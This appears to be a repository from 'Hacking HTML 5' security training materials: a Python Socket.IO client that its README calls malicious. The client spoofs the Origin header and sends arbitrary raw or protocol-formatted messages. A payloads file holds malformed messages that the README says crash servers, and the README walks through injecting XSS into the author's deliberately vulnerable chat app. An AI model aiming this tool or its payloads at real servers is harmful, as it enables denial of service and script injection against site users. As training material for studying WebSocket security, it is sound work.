├── .gitignore
├── handshake.bin
├── payloads.txt
├── README
├── colorize.py
├── socket_io_client.py
└── WebSocketsClient.py
/.gitignore:
--------------------------------------------------------------------------------
1 | *.pyc
--------------------------------------------------------------------------------
/handshake.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/koto/socket_io_client/HEAD/handshake.bin
--------------------------------------------------------------------------------
/payloads.txt:
--------------------------------------------------------------------------------
1 | ~r[{"length":1}]
2 | ~r{"length":1}
3 | ~j{"messages":[{"length":1}]}
4 | ~j{"length":1}
5 | hello
6 | hello
7 | hello
8 | ~j{
9 | ~j
10 | ~r~m~EVJLFDJP~
--------------------------------------------------------------------------------
/README:
--------------------------------------------------------------------------------
1 | A simple malicious Socket.IO client as a Python script.
2 |
3 | http://blog.kotowicz.net/2011/03/html5-websockets-security-new-tool-for.html
4 |
5 | It can:
6 | - Handshake with a Socket.io server
7 | - Ignore all Origin restrictions
8 | - Transparently handle all socket.io heartbeats
9 | - Send arbitrary messages - from a prompt or an input file. Messages could be raw or
10 | properly formatted according to socket.io protocol
11 | - Receive/log all server messages
12 |
13 | I also included a few exemplary payloads which can crash servers I encountered.
14 | You can test the client against my vulnerable chat application (try XSS).
15 |
16 | 1. Connect (with Chrome or other browser supporting websockets) to
17 | http://vuln.nodester.com/chat.html
18 | 2. Run the command line client
19 | ./socket_io_client.py vuln.nodester.com 80
20 | 3. Start conversation
21 | 4. Try to inject XSS from the command line client
22 |
23 | You could also use my prepared payloads like so:
24 |
25 | ./socket_io_client.py vuln.nodester.com 80 < payloads.txt
26 |
27 | Or save all server reponses like so:
28 | ./socket_io_client.py vuln.nodester.com 80 > output.txt
29 |
30 |
--------------------------------------------------------------------------------
/colorize.py:
--------------------------------------------------------------------------------
1 | color_names = ('black', 'red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'white')
2 | foreground = dict([(color_names[x], '3%s' % x) for x in range(8)])
3 | background = dict([(color_names[x], '4%s' % x) for x in range(8)])
4 | RESET = '0'
5 |
6 | def colorize(text='', opts=(), **kwargs):
7 | """
8 | Returns your text, enclosed in ANSI graphics codes.
9 |
10 | Depends on the keyword arguments 'fg' and 'bg', and the contents of
11 | the opts tuple/list.
12 |
13 | Returns the RESET code if no parameters are given.
14 |
15 | Valid colors:
16 | 'black', 'red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'white'
17 |
18 | Valid options:
19 | 'bold'
20 | 'underscore'
21 | 'blink'
22 | 'reverse'
23 | 'conceal'
24 | 'noreset' - string will not be auto-terminated with the RESET code
25 |
26 | Examples:
27 | colorize('hello', fg='red', bg='blue', opts=('blink',))
28 | colorize()
29 | colorize('goodbye', opts=('underscore',))
30 | print colorize('first line', fg='red', opts=('noreset',))
31 | print 'this should be red too'
32 | print colorize('and so should this')
33 | print 'this should not be red'
34 | """
35 | code_list = []
36 | if text == '' and len(opts) == 1 and opts[0] == 'reset':
37 | return '\x1b[%sm' % RESET
38 | for k, v in kwargs.iteritems():
39 | if k == 'fg':
40 | code_list.append(foreground[v])
41 | elif k == 'bg':
42 | code_list.append(background[v])
43 | for o in opts:
44 | if o in opt_dict:
45 | code_list.append(opt_dict[o])
46 | if 'noreset' not in opts:
47 | text = text + '\x1b[%sm' % RESET
48 | return ('\x1b[%sm' % ';'.join(code_list)) + text
49 |
50 |
--------------------------------------------------------------------------------
/socket_io_client.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #
3 | # This file is part of
4 | # "Hacking HTML 5" training materials
5 | # @author Krzysztof Kotowicz
6 | # @copyright Krzysztof Kotowicz
7 | # @see http://blog.kotowicz.net
8 |
9 | import sys
10 | import os
11 | import select
12 | import WebSocketsClient
13 | from colorize import colorize, color_names
14 |
15 | if __name__ == '__main__': # script part
16 | if len(sys.argv) == 1 :
17 | print "socket_io_client by Krzysztof Kotowicz, http://blog.kotowicz.net"
18 | print
19 | print "Usage: "
20 | print "socket_io_client host port [origin_to_simulate] [socket_io_path]"
21 | print
22 | print "Example: socket_io_client websocket.example.org 8888 client.example.org /socket.io/websocket"
23 | sys.exit(1)
24 |
25 | HOST = len(sys.argv) <= 1 and 'websocket.security.localhost' or sys.argv[1] # The remote host
26 | PORT = len(sys.argv) <= 2 and 8124 or int(sys.argv[2]) # The remote port
27 | ORIGIN = len(sys.argv) <= 3 and 'victim.security.localhost' or sys.argv[3] # origin to simulate
28 | PATH = len(sys.argv) <= 4 and '/socket.io/websocket' or sys.argv[4]
29 |
30 | interactive = os.isatty(0)
31 |
32 | sys.stderr.write("Connecting to " + HOST + ":" + str(PORT) + "\n")
33 | client = WebSocketsClient.SocketIoClient(host=HOST,port=PORT,origin=ORIGIN,path=PATH)
34 |
35 | if (interactive):
36 | prompt = colorize("\nWhat to send (nothing: quit, ~jXXX: json object, ~rXXX - raw socket data XXX):", fg='green')
37 | else:
38 | prompt = ""
39 |
40 | quit = False
41 | p = 0
42 |
43 | import random
44 | while not quit:
45 | try:
46 | sys.stderr.flush()
47 |
48 | # Wait for input from stdin & socket
49 | inputready, outputready,exceptrdy = select.select([0],[],[], 0)
50 | if client.can_recv():
51 | inputready.append(client.socket)
52 | for i in inputready:
53 | if i == client.socket:
54 | data = client.recv()
55 | if data == False:
56 | sys.stderr.write(colorize('Socket empty, quitting',fg='red'))
57 | quit = True
58 | break
59 | else:
60 | if len(data) == 0:
61 | break
62 | sys.stdout.write(client.ws_encode(data))
63 | if interactive:
64 | sys.stderr.write(prompt)
65 | elif i == 0:
66 | data = sys.stdin.readline().strip()
67 | if not data:
68 | sys.stderr.write(colorize('Shutting down.', fg='red'))
69 | quit = True
70 | break
71 | else:
72 | sent = client.send(data)
73 | if interactive:
74 | data = colorize("Sent: " + sent, fg='yellow')
75 | sys.stderr.write(data)
76 | sys.stderr.write(prompt)
77 | else:
78 | sys.stderr.write("Sent payload #%i\n" % p)
79 | p = p + 1
80 | if len(inputready) > 0:
81 | sys.stdout.flush()
82 | sys.stderr.flush()
83 |
84 | except KeyboardInterrupt:
85 | sys.stderr.write(colorize('Interrupted.',fg='red'))
86 | quit = True
87 | pass
88 |
89 | client.close()
90 | sys.stderr.write("\n")
91 |
--------------------------------------------------------------------------------
/WebSocketsClient.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | #
3 | # This file is part of
4 | # "Hacking HTML 5" training materials
5 | # @author Krzysztof Kotowicz
6 | # @copyright Krzysztof Kotowicz
7 | # @see http://blog.kotowicz.net
8 |
9 | import socket
10 | import select
11 | import sys
12 |
13 | class WebSocketsClient:
14 | """WebSockets client"""
15 |
16 | PREFIX = "\x00"
17 | SUFFIX = "\xFF"
18 |
19 | def __init__(self, handshake_file='handshake.bin', **kwargs):
20 | """Connects to socket and performs the handshake"""
21 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
22 | self.buf = ''
23 | self.handshake(handshake_file, kwargs)
24 |
25 | def __del__(self):
26 | self.close()
27 |
28 | def close(self):
29 | self.socket.close();
30 |
31 | def handshake(self, handshake_file, kw):
32 | """Sends the handshake from the file"""
33 | self.socket.connect((kw['host'], kw['port']))
34 | handshake = open(handshake_file,'rb').read()
35 | handshake = handshake.replace('%HOST%',kw['host'])\
36 | .replace('%PORT%',str(kw['port']))\
37 | .replace('%ORIGIN%',kw['origin'])\
38 | .replace('%PATH%',kw['path'])
39 |
40 | self.socket.sendall(handshake)
41 |
42 | def send_raw(self, s):
43 | """Send the message through websocket"""
44 | self.socket.sendall(self.ws_encode(s))
45 | return s
46 |
47 | def ws_encode(self, s):
48 | """Encode the message in WebSockets frame"""
49 | return self.PREFIX + s + self.SUFFIX
50 |
51 | def heartbeat(self,bytes=4096):
52 | """Sends last heartbeat in buffer back to the server"""
53 | self.recv_raw(bytes)
54 | msgs = self.buf.split(self.PREFIX)
55 | msgs.reverse()
56 | for msg in msgs:
57 | if self.is_heartbeat(msg):
58 | self.send_raw(msg[:-1]) # strip trailing \xFF
59 | self.buf = self.buf.replace(msg + self.SUFFIX, '') #remove from buffer
60 | break;
61 |
62 | def recv_raw(self, bytes = 4096):
63 | """Read bytes from socket into the buffer"""
64 | read = self.socket.recv(bytes)
65 | self.buf += read
66 |
67 | def recv(self, bytes = 4096):
68 | """Return new message from the server (also resends but ignores heartbeats)"""
69 | self.recv_raw(bytes)
70 | start = self.buf.find(self.PREFIX)
71 | if start == -1:
72 | return ''
73 | end = self.buf.find(self.SUFFIX, start)
74 | if end == -1:
75 | return ''
76 |
77 | # we have a full message in buffer now
78 | msg = self.buf[start+1:end]
79 | if start > 0 :
80 | sys.stdout.write(self.buf[:start]) # something before the message, probably part of handshake
81 | if len(self.buf) == end:
82 | self.buf = ''
83 | else:
84 | self.buf = self.buf[end+1:]
85 |
86 | if self.is_heartbeat(msg): # heartbeat, resend & ignore
87 | self.send_raw(msg)
88 | msg = ''
89 |
90 | return msg
91 |
92 | def has_msg_in_buffer(self):
93 | """Check if there is a complete message in the buffer"""
94 | begin = self.buf.find(self.PREFIX)
95 | if begin == -1:
96 | return False
97 | end = self.buf.find(self.SUFFIX, begin)
98 | if end == -1:
99 | return False
100 | return True
101 |
102 | def is_heartbeat(self, s):
103 | return False #to be defined in child class
104 |
105 | def json_encode(self,s):
106 | return s #to be defined in child class
107 |
108 | def encode(self, s):
109 | return s #to be defined in child class
110 |
111 | def send(self, send):
112 | """Encode and send the message trough socket"""
113 | if send.startswith('~j'):
114 | send = send[2:] # strip ~j
115 | send = self.encode(self.json_encode(send))
116 | elif send.startswith('~r'): # raw message, not neccessarily socket.io compatible
117 | send = send[2:]
118 | else:
119 | send = self.encode(send)
120 | return self.send_raw(send)
121 |
122 | def can_recv(self):
123 | """Check if we're ready for recv()"""
124 | if self.has_msg_in_buffer():
125 | return True
126 | inputready, outputready,exceptrdy = select.select([self.socket],[],[], 0)
127 | return len(inputready) > 0
128 |
129 | class SocketIoClient(WebSocketsClient):
130 | """Socket.Io compatible client"""
131 |
132 | def is_heartbeat(self, s):
133 | return s.startswith('~m~4~m~~h~')
134 |
135 | def json_encode(self,s):
136 | return '~j~' + s
137 |
138 | def encode(self, s):
139 | return '~m~%d~m~%s' % (len(s), s)
140 |
141 |
--------------------------------------------------------------------------------